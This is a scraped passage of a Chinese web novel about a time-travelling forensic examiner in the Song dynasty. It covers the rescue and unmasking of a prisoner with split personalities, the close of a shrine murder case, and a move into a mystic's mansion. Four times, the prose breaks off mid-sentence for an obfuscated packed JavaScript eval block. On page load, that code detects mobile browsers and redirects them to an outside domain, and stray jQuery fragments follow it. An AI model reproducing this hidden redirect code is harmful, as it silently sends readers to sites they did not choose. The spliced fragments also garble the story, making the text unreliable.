哈士元拆房拆的正起劲,突然多了个白擦擦的东西,显然也被吓了一跳。他顿了几秒,然后怒吼着伸手要掐李士卿的脖子。
李士卿也不知哪里摸出来了一把扇子,看似十分轻松地挡开了血糊糊的脏手,力量不大,刚好让狂暴战士转了个圈儿……
宋连:……
甲丁:……
牢头:……
这还不算完,就在元英雄托马斯全旋720°回到原位时,李士卿手中已经多出了一道符纸,“啪”的一声贴在了元英雄的前额。
真人夺舍版狂暴战士、拆房专家元英雄就这么被定住了……
甲丁:啊!
牢头:哇!
宋连:……这手法好眼熟,僵尸老港片里的道士就是这么对付跳跳鬼的……
不是,他只是人格分裂啊!为什么要用对付僵尸的那套手法对付他!而且!为什么还奏效了?!
这个李士卿是装了双系统吗?!
04
元英雄被李天师原地硬控三秒,然后像一滩烂泥一般倒在地上。
牢头提着棍子小心翼翼走过去,伸出棍子戳了戳元英雄,没反应。
“嘿!这位公子真神仙啊!用得什么法术如此灵验!”
李士卿摸出一枚符纸放到牢头手中:“驱灾避祸,5文即可。”
牢头的脸上仿佛飘过一万字的弹幕,掂了又掂,迟迟没有将手收回。
李士卿见状又叹口气,刚要把符纸收回,那牢头唰地捏合手掌,另一只手摸出五文铜板放在李士卿手里。
一旁的甲丁眼球都要瞪出眼眶:为什么他起步就是5文,我讨价还价还要了10文!奸商!
05
牢头将符纸揣到胸口衣袋中,还拍了拍,又壮着胆子扒拉了一下地上的人。
还是没动。
不会是死过去了吧……
牢头伸出两手,轻轻放在对方鼻口探探气息。
突然,地上的人两眼睁开,一把抓住牢头手腕!
“啊啊啊啊救命!!!”牢头声嘶力竭。
甲丁和宋连瞬间紧张起来,全身戒备。
但那人只是倒抽了几口气,然后哀嚎着“疼!好疼!”
宋连试探着叫:“元英平?”
元英平抬眼,仿佛十分不可思议:“我这么快就醒了?”
甲丁指着李士卿:“这位天师将你唤醒了。”
元英平拖着满身伤,咬着牙给李士卿作揖:“多谢天师相救……”
动作没有保持太久,又瘫了回去。
元英雄用的全是蛮力,想必元英平现在身上已有多处骨折。
更糟糕的是他还在流血。宋连担心他很可能因为失血过多而死亡。
“他需要立刻就医!马上止血,否则性命不保了!”宋连对甲丁说。
“可是……他是在押犯人,隔日就要送往大理寺复审了,恐怕没办法让他出去啊……”
“能请大夫来这里吗?”
甲丁思忖:“倒也是可以,但我看他这伤势,恐怕……”
“照我说的去准备,需要尽快!”李士卿说,“能保他一命!”
甲丁立刻掏出随身小本,抄起牢房桌上的墨笔,按照李士卿所说的一一记下。
宋连粗略看了一眼,有常见的如艾草、蒲公英、白芨、石灰等药材;也有从未听过的如旱莲草、马勃、地榆等。
虽然他不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788431|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
懂中医,但大概知道这些都是消炎止血的药材。
但还远远不够。
元英雄造成的创面太大太深,有些地方骨裂甚至可能是粉碎性骨折,只是这种程度的消炎止血,效果微乎其微。
他需要的是大量的抗生素预防伤口感染。
但这个时代没有,青霉素的确可以通过一些较为日常的手段提取,可那也需要足够漫长的时间。元英平等不了,照这个伤势,他顶多能撑三天。
“你们这里最烈的烈酒多少度?”宋连问。
所有人都一脸懵逼,什么多少度,没听过。
他以前在史书上看过,直到宋初,因为没有蒸馏技术,大家喝的酒其实都是低度数,武松能喝十八碗酒,一方面他酒量可能真的不错,另一方面酒的度数也真的不高。
因此是没有办法用来消毒的。
“架火盆,烧一盆开水!甲丁,我需要你买药材的时候额外跑一趟,去看看能不能找来一套全新的解剖用的工具。对了,还要针线!”
“什么?他还没死你就要剖啊?”
宋连没时间解释,推着甲丁赶紧去办。
06
在甲丁收集救命用品的时候,宋连力所能及对元英平进行了一些简单的包扎和止血。
效果微乎其微,但聊胜于无。
元英平正在肉眼可见的虚弱下去,脸色因为失血而变得惨白。
“大人……我是不是要死了……”元英平虚弱地问。他目光呆滞地望向牢房房顶,有些感慨,“我这人,一辈子胆小怕事,唯唯诺诺,过得如此小心翼翼,没想到竟也落得如此下场……”
他歪过头去,看着宋连:“等我下去之后,我也想问问阎罗王,上辈子我做了什么,让我投胎又不给我一个完整的肉身……”
他惨笑了一下,又说:“不过……在死之前,能遇到一个真正理解我的人,这一生也不算罔过。只是下辈子,就不想做人了,好累……”
宋连压住他的伤口,示意他不要再耗费力气说话。
“你首先要活下来,活着才能申辩。”
元英平摇头:“有什么用呢?除了你,谁会相信我的身体里住了三个人,而杀人凶手并不是我……”
没有人会相信。宋连知道。
说来好笑,若说一个人被妖魔鬼怪夺舍,几乎无人不信;可若说一个躯体里有三个独立意识,就是天方夜谭。
“总之都是死路一条,斩首不如就这样死掉,至少留了全尸。”
元英平像是彻底放弃了求生,身体也一点点舒展开来。
“你不能死,”宋连用力拍了拍他,让他保持清醒,“元英雄还没有得到应有的判决,现在死了,凶手就是你!即便最终没有接纳你人格分裂的说法,但你至少要等到元英雄和元英才的判决,否则你死得瞑目吗!”
这话像是起了作用,元英平原本闭合的双眼倏地睁开了。
但李士卿很快看出了不对劲。
“现在不是元英平,是元英雄醒了!”
他一边说着,一边又摸出一道符纸,贴在对方额头位置,将刚要清醒的元英雄又压入了梦境。
宋连惊呆了,也不敢出声,更不敢询问。生怕李士卿也送他一个符纸,毕竟他现在也占据着别人的躯体……
23.18 罪犯应该死于审判,无辜者不该死在牢房
01
甲丁以最快的速度备好了全部物品,尽管如此也耗费了三四个小时。
元英平的情况很不乐观,牢头和甲丁一起,按照李士卿和宋连的嘱咐烧水熬药。
他做牢头没有十年也有八载,经手的囚犯最大能到宰相,最小不过毛贼;见识过今天入狱明天就官复原位的,也见识过小案子进来掉脑袋出去的。
要说世事无常,没人能比牢头更有体会。
“囚犯自有囚犯命。”这是他这些年来总结出的工作经验。因此如此劳师动众的拯救,且是拯救一个必死无疑的杀人犯,是极为无用的。
他想说这囚犯死在这里也是死,送去大理寺复合还是死,救他作何用意呢?但又知道这人不能死在自己当值这天,想了半天,最后很委婉地说:“多谢各位爷救他不死,保我一碗饭吃。可一想到他赶明儿还是得判死罪,又为几位爷这番努力不值!”
宋连很忙碌,在检查元英平身上有多少伤口,各是什么程度,盘算着要做什么样的处理。尤其是脑袋上那一处,大力撞击铁栅栏很大可能撞出了脑震荡,他现在担心的是会不会出现颅内血肿。
他脑子里盘算着各种事情,没有多余的精力去思考牢头拐弯抹角的疑问,几乎下意识的回答:“死刑犯也是人,在被执行死刑之前,仍然享有生存的权利。罪犯应该死于审判,无辜者不该死在牢房。”
02
汤药熬好,甲丁端出一碗晾好的,准备给元英平灌下去,被宋连阻拦了。
“不能喝!他正在失血,饮水会让血液稀释,加剧失血。”
甲丁看着李士卿,不知该听谁的。
李士卿:“无事,此药能止血,需得尽快服用。”
宋连:“你这是在害死他!”
李士卿:“你在延误时机!”
两人各不相让,甲丁左右为难。
最后牢头突然冲过来,夺走汤药,一股脑灌进元英平嘴里。
“哎呀!反正横竖都是死,死马当作活马医!”
甲丁松了口气,对宋连说:“宋检法善于观察死者,医治活人未必有经验,这回我相信李公子。”
宋连差点一口气没上来:这李公子对待患者跟对待僵尸一个路数,到底哪里可信了!
但药已经喝了,说什么都晚了,宋连还是把注意力集中在那几处伤口。
元英雄造成的伤口大致几种:最轻的是撞击引起的皮下淤血,可以忽略不管;那些浅度的擦伤也不用特别处理;麻烦的是深度的皮开肉绽,需要进行缝合,还有几处暴露性骨折,要将碎掉的骨渣清理,折断的骨头拼接,固定之后再缝合伤口。
如果是现代,可以用钢针钢板固定,但现在没有这些材料,也没有消毒环境,这些创口一旦感染,就是致命的。
管不了太多,先行动起来!
宋连正准备下手,才意识到一个最关键的问题——麻醉。
通常情况下,他下刀的时候,“患者”已经死透了,所以从来没有考虑过麻醉这个问题,但现在他面对的是一个大活人……
正发愁,李士卿又端了一碗黑乎乎的水到他面前:“让他服下,便可深睡。”
宋连想到了农村跳大绳的,经常烧符纸的灰烬混着水给信众喝,以此骗取钱财。
眼前这位白净公子更狠,不谋财,专害命啊!
李士卿看出宋连不信,又说:“时机不等人!”
牢头再次看不下去了,夺过符水一灌而下。
宋连与牢头对视片刻,两人同时发出感慨:“……你是真不想让他活着走出牢房啊!”
03
元英平喝下那碗黑水之后,竟然真的昏了过去。
宋连坚信他是因为失血过多而昏迷了,加快了手里的动作。
他让牢头和甲丁端着四盏灯,保证充足的照明,用开水烫过的针线将那些比较深的皮肉伤一层层缝合。
又用高温“消毒”过的镊子将手肘、小腿骨的骨渣分捡出来,大片的还在尝试拼合,实在细碎的只能扔掉。
所幸的是骨头的断面没有戳破大血管。
最重要的是额头部分,切开皮肉之后,看到了明显的颅骨裂痕,撞击面凹陷了一块,已经碎掉。
宋连又用镊子将碎骨捡出,没有血肿,万幸。
将最后一处伤口缝合之后,宋连整个身体都好像泡在了汗水中。
牢头举着灯看了毫无知觉的元英平一眼:“这就行了?”
宋连摇头:“接下来才是难点,要保证之后几天他的伤口不会感染……”
李士卿从衣袋里摸出几颗药丸,又拿出几张黄色符纸,一并递给牢头:“每日一剂,以符纸烧出的灰烬混在水里,服用此药。”
宋连伸手要拦,被牢头预判了他的动作,抢先一步拿到了。
宋连:“你烧符纸无非是获取草木灰消炎,但草木灰里的消炎成份根本杯水车薪!他需要抗生素!”
没人听得懂宋连说的话,牢头只觉得这爷太奇怪了,看着是在救人,又像是要他死。
甲丁挪到牢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793853|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头旁边,跟他小声嘀咕两句,那牢头先是惊讶,然后退了几步,嘴张成了“O”型,半天才说了四个字:“原来如此”
04
由于嫌犯在狱中自残,身负重伤,移交大理寺复审的日子推后了几日。
宋连和甲丁每天都去牢房看一眼,那元英平在牢房里躺了三天,终于醒了。他醒的那天,李士卿好像能感觉到似的,也去了牢房,几个人又聚在一起。
李士卿那“骗方”似乎真起了作用,伤口正在愈合,并没有出现感染。
宋连不想承认这江湖骗子有两下子,但又不得不感慨这简直就是医学奇迹。
“你真这么厉害,破案的时候不应该掐指一算,马上算出犯人姓甚名谁,家住何方,如何杀人,一网打尽吗?”
李士卿耸肩:“傅大人可没付我查案的报酬。”
宋连彻底无语,干脆不再理会李士卿,转而去看元英平的伤势。
元英平躺了三天,一动不动,身上竟然也没有长褥疮,莫非这也是李士卿那神奇药水的功效?
“我那日昏睡之前,让元英雄占据了主人格,这几日都是他躺在这里。”元英平说。
这个答案让宋连很是满意,元英雄力大无穷,身体素质异于常人,能快速恢复还不长疮是有可能的。
不过他还是闪过了一点点念头:同样都是科学边界范畴,他宁肯相信多重人格障碍,也不相信李士卿有超能力。这又算不算是一种偏见?
这念头也只是一闪而过,现在元英平捡回一条命,就能亲眼见证真凶被审判,也算是了了他的心愿。
这些天他在那个真·宋检法的廉租房里,翻阅了大量《宋刑统》中对精神异常者犯案的定罪原则,惊喜地发现早在一千年前,宋人就已经有了“笃疾或废疾,与老幼、残疾人类似”的说法,定义他们都属于限制刑事责任能力群体。
根据《宋刑统·名例律》规定:“诸年七十以上、十五以下及废疾,犯流罪以下,收赎。若加役流、反逆缘坐流、会赦犹流者,不用此律。”就是说允许以财物赎刑,但死罪等重罪不适用。
他只要想办法证明元英平患有精神疾病,案发时正在犯病,就有可能让元英平活下来。
尽管元英雄和元英才会因此逃过死罪。
宋连正想将这个想法告诉元英平,让他重拾生的希望,李士卿却不知何时走到了牢房栅栏边,冷漠地看向牢房里正向他们道谢感激的囚犯。
随即说了一句谁都没想到的话:“你不是元英平,你是元英才。”
24.19 没文化,真可怕!
01
“你叫谁?”甲丁迷糊了。
“爷真是贵人多忘事,他是元英平。”牢头解释。
宋连先是看着李士卿,发现他不是在开玩笑,又看向牢房里那名囚犯。
“大人,我,我是元英平呀!”他一副楚楚可怜的样子,十分委屈地看向李士卿。
“元英平早就死了。”
李士卿的话像一道惊雷,在场几人汗毛竖起。
“死……死了?怎么会!”甲丁看向宋连,“宋检法每日来检查,他的伤口恢复的很好,并无发烂生疮,应当是没有问题的!”
“自然是没有问题,”李士卿说,“因为元英平在那之前就已经死了!”
甲丁回味了一大圈,才明白李士卿的意思。元英平早就死了,那么那晚他们竭力抢救的人……是元英才?!
照这个来推算,很有可能他们一直面对的都是元英才和元英雄……
也就是说……他们或许从来就没有见过元英平?!
这太可怕了!
但李士卿接下来说的,是更为可怕的过程。
02
时间回到中元节当晚,元英才骗卫灵秀踏进祠堂的时候。
元英平已经知道了元英才的杀人计划,因此挣扎着要夺回人格控制权。
他确实也短暂的成功过,喝止卫灵秀并要求她马上离开。
但卫灵秀却认为这是他们“情趣Play”的一环,不但没有逃走,反而嘲笑元英才,说他一定是去了烟花巷,和青楼姐姐学了好些招数,专哄人开心。
元英平努力失败,又被元英才强行夺取控制权。
接下来的事,与元英才的供述并无出入。在与卫灵秀的苟合中被点燃了嗔恨,让元英雄占据了人格的控制权。
在郭氏尸腊的刺激下,元英雄戾气暴涨,杀死了卫灵秀。
但与元英才供述不同的是,就在案发现场,元英才和元英雄会面了。
这一定不是他们第一次人格会面,他们曾共同霸凌元英平无数次,想必是经常沟通交流。
元英才是恶魔的大脑,负责出谋划策;元英雄就是恶魔的躯干,负责执行恶事。
他们认定了元英平软弱的性格一定会出卖他们,届时大家都不得善终,于是当即决定找机会弄死元英平。
但元英平躲起来了,无论怎么召唤他都不出来。
直到在开封府,如他们所料,元英平跳出来撂了所有。但这也让他将自己暴露在恶魔面前。
在元英雄第一次在开封府现身、被甲丁制服的时候,元英平就已经被另外两个人格杀死了。
那之后的“元英平”,统统都是“元英才”假扮的。元英才口才很好,模仿力极强,演技了得,骗过了所有人。
可他千算万算,却没算到元英雄失控大闹牢房,害他也身受重伤。
当下他心生一计,才是真的死马当作活马医:假扮元英平获取同情,让自己及时得到救治。熟知《宋刑统》的他在那一刻就埋下了伏笔,等的就是宋连为他做减刑辩护的承诺。
但他没有骗得过李士卿。
03
“没想到,府衙那次竟是元英平的死日……李公子是何时看出的?又是如何看出的?”甲丁现在只觉得神仙打架,他一介凡人,根本没有参与的份儿。
“他少了魂魄。”
这回答完全在宋连意料之中,但这次他没有嘲讽也没有吐槽。
他不信鬼神,但也解释不了发生在李士卿身上的很多特异功能。
“可是……爷您那天既知他是元英才,为何还要以神药相救啊?”牢头更加不懂了。
救一个将死之人他不理解,知道他是真正的凶手仍然要救,他更不理解。
李士卿看向宋连,却是回答了牢头的疑问。
“因为有位大人说:罪犯应该死于审判,不该死在牢房。”
他说的并非宋连原话,却懂了宋连本意。
这位李公子,自相识以来就一直在故作高深,好像置身事外,却总在关键时刻伸出援手。
宋连对他有了新的认识,在心里暗赞:大宋青年,大有可为!
然后这位有为青年就掏出一张账单递给宋连:“救他那些符纸,还有定身元英雄的符纸,再加上我施法的费用。”
「50贯钱。」
宋连悄悄问甲丁:“50贯是多少?”
甲丁:“5万文”
折合人民币:5万块!
几张破纸要5万块钱?!
宋连内心短暂的感动灰飞烟灭,给这江湖骗子一个机会,他甚至能称霸缅北!
04
元英才一开始还在辩驳,弱小可怜的样子让甲丁和牢头都为之动容,问李士卿会不会搞错了。
直到李士卿摸出符纸,说要唤醒元英雄问个究竟。元英才的脸上变了表情。
他看不起元英雄的无脑,却也忌惮元英雄的狂暴。他知道,如果那头猛兽再醒一次,就算神仙来了,也难救他活命。
于是只得用沉默回答一切。
05
两件偶然相扣的命案,无论是现场的复杂程度还是背后的原因,即便是在物欲横流的现代世界,也算得上离奇曲折。而宋连只用了一周时间便告破。
在傅大人催促下,他连夜写完了详细的卷宗,并将其归档名为《7·15祠堂藏尸案》。
傅濂拿着一叠卷宗脸都要气紫了,满页“疑难杂字”也就罢了,这鬼画符一般歪七扭八的运笔,当初是怎么通过考试的!
时间紧迫,傅大人又让甲丁誊抄了一份,甲丁这几日又是运尸又是蹲点,累的快要没个人形了,现在还要熬夜抄写卷宗,简直想把宋连千刀万剐!
正赶上李士卿来开封府领“顾问费”,于是死皮赖脸拽着不让走:“你为何五更天出现在祠堂这事还没说清楚,不能走!”
李士卿莫名其妙:“我为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798072|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何在那,不应该问宋检法吗?”
俩人目光囧囧盯着宋连,宋连两手一摊:“我被夺舍了啊!”
甲丁又说:“你是傅大人指定照看宋检法的人!他写不出字来也与夺舍有关,属于你的分内之事!”
最后的结果自然是“秀才遇上兵,有口说不清”,李士卿老老实实开始誊抄。每五个字就有三个不认识,还需要问宋连。
最后干脆变成了宋连读,他听写。
06
卷宗誊抄一遍,也是对整个案子的一次总结和复盘。
甲丁从中发现了几处疑问,还没有得到解答。
“那石像究竟为何会流出血泪呢?”
“因为铁锈。”宋连回答,“石像高大,内部中空,由铁架支撑,石像眼睛的位置大概是支撑点,浇筑的时候恐怕没有封住,祠堂漏雨,雨水灌入石像,就会冲刷铁锈从眼睛位置淌出来,看起来就像是流下血泪。又因为雷雨天总能和不详的事产生联想,久而久之就有了‘石像流血泪预示有灾祸发生’的传言。”
甲丁:0_0,然后又问了第二个问题:“这祠堂真的是女娲补天时就有吗?”
这个问题李士卿作了回答:“从石像雕刻的手法以及材料来看,恐怕是太宗朝时期民间私设的淫祠吧!”
“太宗朝?那不也……没几十年么……”甲丁掐指算了算,“六七十年?”
李士卿点头。
“那他们竟然说的有鼻子有眼的!什么天地玄黄宇宙洪荒的……”
“淫祠设立都有一个传奇的故事,附近居民讲给孩童,孩童听着故事长大,老年时再传给下一代,用不了两三代,只要见证过源头的老人都去世了,很多传言就会变成真的。历史只不过是过去的记忆,有时并不可靠。”
宋连并没有深究李士卿这句话的含义,因为他正在被另一个词吸引。
“你们宋……我是说,太宗时期玩挺花啊!‘淫…祠…’听起来就很热闹……”
甲丁点头:“何止太宗时期,现在也很盛行啊!城中淫祠数百间,随处可见!”
宋连更惊讶了:“官府也不管吗?”
“这哪儿管的了啊!他们也不向官府申报,随便搞个什么神仙就开始磕头烧香收香火钱了,哪里管得过来!”
“等一等……”宋连琢磨出了一点不对,“收香火钱?”
“对啊!有些祠堂寺庙因为有传奇的故事,香火十分旺盛!私设者每年从中牟利不下万两!”
宋连意识到自己对“淫祠”这个词很可能理解有误,但又不好意思问。
“淫雨霏霏,”李士卿淡淡说了一句。
甲丁和宋连一起:“啊?”
“淫,多余,冗余。多出来的没有登记在册的。”
甲丁不明白李士卿干嘛突然开始名词解释起来了,但宋连知道,于是尴尬的摸摸鼻尖,强行转移了话题:
“不过这案子,还真有未破解的部分。”
25.20 跑!离开这里!
01
郭氏的尸体上保存的那些清晰的印记,都指向凶手是一个身高不超过180的人,宋连始终直觉凶手是陈莲儿,但根据甲丁的观察,陈莲儿不具备对抗郭氏的力量。
最重要的是陈莲儿如今已经逃走,而郭大伟又顶下了所有罪名。他的供词事实清晰,细节也都对得上。相比宋连的“直觉”,大家更信赖嫌疑人的供述。
社会舆论声势浩大,大街小巷就是路过的狗都要聊上两句,朝堂上下更是全程关注这件案子。
据说台谏官分成三个阵营,每天早朝都要花一个小时吵上一架。
而那神秘的司天监也递过话,暗示此案关乎宋连性命,不宜拖延。
如此复杂的形势下,也没有更多时间去等待陈莲儿的落网了。
案子就此算是结了。
02
据说皇帝听了提刑司的汇报,龙颜大悦,给了丰厚的赏赐。
宋连被夺舍一事则成了开封府公开的秘密。
有传言称,宋检法被夺舍这件事,是司天监的杰作,是司天监炼化的人形武器,专用来对付太后身后那位“大黑天神”。
也有一种说法,宋检法本就是司天监亲信,否则以他平平无奇的能力怎么可能在提刑司谋职。而他被夺舍乃是“大黑天神”一手操控,是“大黑天神”给司天监的一个警告……
众说纷纭,只有宋连自己知道,他只是一个被雷劈误入平行宇宙的小概率事件。
而且,虽然自己这次逃过一劫,但前方的路很可能危险重重。
因为他毕竟是“有鬼”的人,没人能打包票他会不会对朝堂不利。皇帝为了确保这位特殊的“宋检法”不会突然化作厉鬼危害社会,命傅濂派人看管好他的日常生活。
而这个任务就这么顺理成章的落到了李士卿身上。
03
宋连想找搬家公司,问了一圈还真有,一个搬运工一天200文。换算一下差不多相当于一天200块。
讲道理,对比现代一趟就要200的价格,已经非常划算了。但他现在身无分文,前身那个“真·宋检法”是真的混得很糟糕,工作半年,丁点儿积蓄都没攒下来。
李士卿当时留给他那500文巨款,叫了几次专车搬运尸体也全都花完了。
他现在兜比脸干净,只能请甲丁帮忙。
甲丁内心自然是不愿意的,但……谁叫他有鬼呢……
好在之前这位“宋检法”足够清贫,买不起什么东西,家当少得可怜,两个人努努力,手拿肩扛一趟就搬完了。
大相国寺,汴京最繁华的地方,CBD中的CBD。虽然名叫相国寺,实际上却是集:吃、喝、玩(piáo)、乐(dǔ)、买买买为一体的大型商业综合体。
北边紧挨着州桥夜市,是汴京城的网红景点;东北角直对全市最高档五星酒店之一:潘楼;东门是一条商业街,服装饰品书籍茶饮等等一应俱全;南边就是大名鼎鼎的“录事巷”——妓馆一条街。
作为正儿八经的皇家寺院,它也不是天天开门营业,但每个月都有五次开放日,这里就变成了热闹大集市,飞禽猫狗、生活用品、瓜果蔬菜、笔墨文宝……卖什么的都有!
一个皇家寺院,被世俗包裹的严严实实密不透风,倒是很考验僧侣尼姑们的清修本事了。
04
李士卿家就坐落在旁边,从门外看不出里面的占地面积,但这气派的乌头门可不是寻常百姓能拥有的。
朝廷规定什么地位的人配什么档次的门,李士卿这三座并列乌头门是宰执大臣才能拥有的门,正中间还有专供大型马车通过的断砌造。
进门是一个巨大照壁,上雕松竹梅鹤,越过照壁便是第一个院落:两棵高大的梧桐树分别立在院子两侧,树根处有砖砌的六边形树穴,四周还有各种盆栽造景。
迎面第一个建筑是敞开的过堂,里面摆有一张八仙桌四只圆凳,台基下铺着散水方砖,穿过过堂是宽高的正堂。
正堂外墙装方格眼对开半窗、堂内两边各有一个塔式香炉,正中间摆着一张巨大的两壶门扁桌,桌后一张梨花木太师椅,背后是三折叠的画屏。
穿过正堂,就来到第二个院子,院子正中间栽种着一颗造型飘逸的不老松,松下还有一座雕琢精美的假山,旁边还有一座小方亭,三面皆是绞角造栏杆,人工凿引的溪流从小亭下穿过。
院子两侧是两条长廊,从前堂引向后屋。后屋是悬山顶的几间平屋,坐北朝南,都有对开的格子窗,采光很好。
宋连不知道这宅子具体有多少平米,但他数了数从大门口走到后屋门口的距离是518步.
此时此刻,他和甲丁默契的有了同样的想法:你都这么有钱了,还要抠那五文十文的破纸钱?!
05
也不知李士卿是如何做到这么短时间里就置办好了全套生活用品,也可能他的豪宅本身就一应俱全,总之当宋连踏入安排给他的客房时,首先映入眼帘的是一张一米八实木双人床,四周还有雕花床围,十分奢华。
床铺上的四件套都是新的,闻着还有阳光晒过的味道。
床头侧立着一只大衣柜,三开门,其中两门对开,内有上中下三层,上层略小,大概用来存放不常取用的东西;中间最宽敞,可挂平日换洗的衣服,最下层稍小,宋连还没想好要放什么;另一个柜门打开有六层,每层高低都可调节,整体造型非常接近现代家具了。
床尾到窗户之间还有一米多宽的空间,放着一个多功能高奢流理台。
这么形容一点也不夸张:头顶上方是一面柜子,双开门,内有三层置物架,格档做成了可调节高低的活动板;门背后有一排小小的挂钩,可以放置小件物品,柜门的门面是两块铜镜,磨得锃亮,能清晰的映出睡眠不足的黑眼圈;下面是几层架子,分别放着三只木盆,宋连猜测大概是洗脸盆、洗脚盆、洗……嗯,衣服盆;架子右边还伸出一只“手掌”,是个阔叶形状的托盘,里面放着牙粉牙刷盒子。
李士卿家的牙刷,比宋连廉租房那支要好得多,刷毛柔软舒适,应该是马鬃毛之类材质,已经基本接近现代牙刷了。
牙粉有两种,白色和黑色。白色质感像是珍珠或贝壳粉,黑色大概类似活性炭。两种都加了薄荷,闻起来清新,吃起来估计也挺爽口。
另一边的窗户下是一张两壶门的书桌,很大,够放下所有的卷宗。但桌边还有一个五斗柜,这里才是存放文件资料的地方。
除此之外,墙上还挂着几幅山水字画,落款不是颜真卿就是柳公权。宋连原本还想怼脸欣赏,一看这些落款,向后跳了半步,缩回危险的小手。
这可都是价值连城的文物啊!
06
为了迎接新住户,一向抠门的房东李士卿竟然还在州桥酒楼点了一大桌的外卖,什么百味羹、紫苏鱼、假蛤蜊、鹅鸭排蒸、荔枝腰子、时果、旋切莴苣、生菜、西京笋……荤素搭配,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816107|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
营养美味。
不过宋连发现李士卿只吃素菜,荤腥一口不沾,可见这些荤菜是专门为他和甲丁点的。
这太反常了!
虽然这位李公子确实富有,但他抠门;虽然他一向礼数周到,但对宋连和甲丁从不客气。现在整这么一出鸿门宴,很叫人吃得不安心。
“李公子,”宋连放下碗筷。
李士卿也拿起帕子沾了沾嘴角,等宋连继续。
“咱们明人不说暗话,你接下监视我的活,到底图什么?”
甲丁也放下筷子不吃了,突然觉得嘴里的美食有毒。
李士卿挑了挑眉毛,似乎对这个问题感到可笑:“我是个术士,你被鬼夺舍,你说我图什么?”
宋连摇头:“都住一起了,能不能坦诚一点?”
李士卿“哦”了一声:“诸位大人办的都是命案,寻常百姓也就罢了,富商家中若有灾祸,必是要找人看看的,尤其宋检法,自带这等离奇的经历,届时只要随口提一提我,引荐些生意……”
懂了,这是要贿赂宋连,官商勾结,贩卖情报,以抵房租。
宋连犹豫着怎么拒绝,毕竟案子都有保密纪律,结果甲丁拍着桌子就答应了:“甚好啊!还是李郎君你脑子好!这真是绝妙的搭配!”
宋连一脸震惊看向甲丁,心想你们是真没有纪检委啊!
07
茶足饭饱之后,甲丁打着饱嗝告辞。宋连则回到自己“新房”中准备就寝。
大概是晚饭吃的太舒适,又或许李士卿这豪横大床太符合人体工学,宋连的脑袋挨着枕头那一刻就瞬间陷入了梦乡,浑然不知就在这张舒适的实木大床底下,贴着几张黄色符纸,摆成芒星的形状。
李士卿站在宋连床前,浅浅看他一眼,轻轻一挥手,宋连便睡得更沉了。
他在房间正中盘腿趺跏坐于蒲团上,面前摆放着一把小巧的铜钱匕首,与岳雲那柄一般无二。下面压着一张符纸,和宋连床下的一样。还有一封信,内容被遮挡看不清楚,只露出一角写着“宋連”二字。
李士卿口中念念有词,铜钱匕首微微震动,三根香的香线飘出了诡异的符号,与符纸上的鬼画符如出一辙。
李士卿面色苍白,表情严峻,眉头紧锁。突然,他猛地睁开双眼,瞳孔竟然变成了血红色!
他咬破了手指,伸向虚空中写写画画,细小的血珠短暂地停顿,显现出奇怪的符文。
那些符文飘向五个不同的方向,落在地上隐隐连成一颗星,又迅速消失。
一个诡异的阵法在宋连的房间结印了。
08
宋连梦见自己奔跑在一片荒林中,四周一片漆黑,伸手不见五指。
他不知道这是哪里,也不知道自己为什么会在这里,更不知道要去往何处。
只是内心始终有一个不属于自己的声音:跑!离开这里!
———<祠堂藏尸案·完>——— 祠堂藏尸案·完>
26.00 楔子
01
大风“呜咽呜咽”刮了整晚,清早时依旧没有停下。天阴得发黑,一夜狂风之后,街巷地面全是破败的枯黄树叶。
一座宅院的大门口,贴着“囍”字的红灯笼在风中摇摇欲坠,宅院内四处挂着红绸,层层叠叠,在风中四处飞动,像炸开的血管变成了鲜红的触手。
祠堂的灯烛在红绸飘裹下时而鲜红时而暗红,祖先的牌位前跪着穿好婚服、盖着红盖头的新娘,姑婶们一左一右搀扶着她祭拜。
院里的风一阵阵往里钻,吹得盖头紧紧包裹住新娘的头,贴出了五官的轮廓,不免让人觉得有些窒息。
点香也不顺利,火折子被风吹灭了好几次,线香的烟雾才歪歪扭扭飘了出来,瞬间就被风吹散了。
